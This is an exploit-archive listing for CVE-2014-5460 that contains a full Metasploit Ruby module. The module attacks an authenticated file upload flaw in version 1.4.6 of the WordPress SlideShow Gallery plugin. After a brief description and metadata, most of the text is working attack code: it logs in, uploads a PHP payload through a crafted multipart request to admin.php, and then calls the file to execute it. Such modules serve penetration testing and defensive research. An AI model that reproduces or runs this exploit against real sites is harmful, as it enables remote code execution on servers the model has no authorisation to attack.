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WordPress SlideShow Gallery Authenticated File Upload

WordPress SlideShow Gallery Authenticated File Upload
Posted Apr 20, 2015
Authored by Jesus Ramirez Pichardo | Site metasploit.com

The WordPress SlideShow Gallery plugin contains an authenticated file upload vulnerability. You can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the WordPress API it's possible to upload any file type.

tags | exploit, arbitrary, file upload
advisories | CVE-2014-5460
SHA-256 | 9a7da5312dab92d7b283154818127736540719c6ad6ac81ce02c41aa922cfeb6

WordPress SlideShow Gallery Authenticated File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
'Description' => %q{
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
vulnerability. We can upload arbitrary files to the upload folder, because
the plugin also uses it's own file upload mechanism instead of the wordpress
api it's possible to upload any file type.
},
'Author' =>
[
'Jesus Ramirez Pichardo', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5460'],
['EDB', '34681'],
['WPVDB', '7532']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['WP SlideShow Gallery 1.4.6', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 28 2014'))

register_options(
[
OptString.new('WP_USER', [true, 'A valid username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end

def user
datastore['WP_USER']
end

def password
datastore['WP_PASSWORD']
end

def check
check_plugin_version_from_readme('slideshow-gallery', '1.4.7')
end

def exploit
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end

print_status("#{peer} - Trying to upload payload")
filename = "#{rand_text_alpha_lower(8)}.php"

data = Rex::MIME::Message.new
data.add_part("", nil, nil, 'form-data; name="Slide[id]"')
data.add_part("", nil, nil, 'form-data; name="Slide[link]"')
data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"')
data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"')
data.add_part('file', nil, nil, 'form-data; name="Slide[type]"')
data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"')
data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"')
data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"')
data.add_part("", nil, nil, 'form-data; name="Slide[order]"')
data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"')
data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"")
post_data = data.to_s

print_status("#{peer} - Uploading payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'page' => 'slideshow-slides',
'method' => 'save'
},
'data' => post_data,
'cookie' => cookie
})

if res
if res.code == 200
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end

print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
)
end
end
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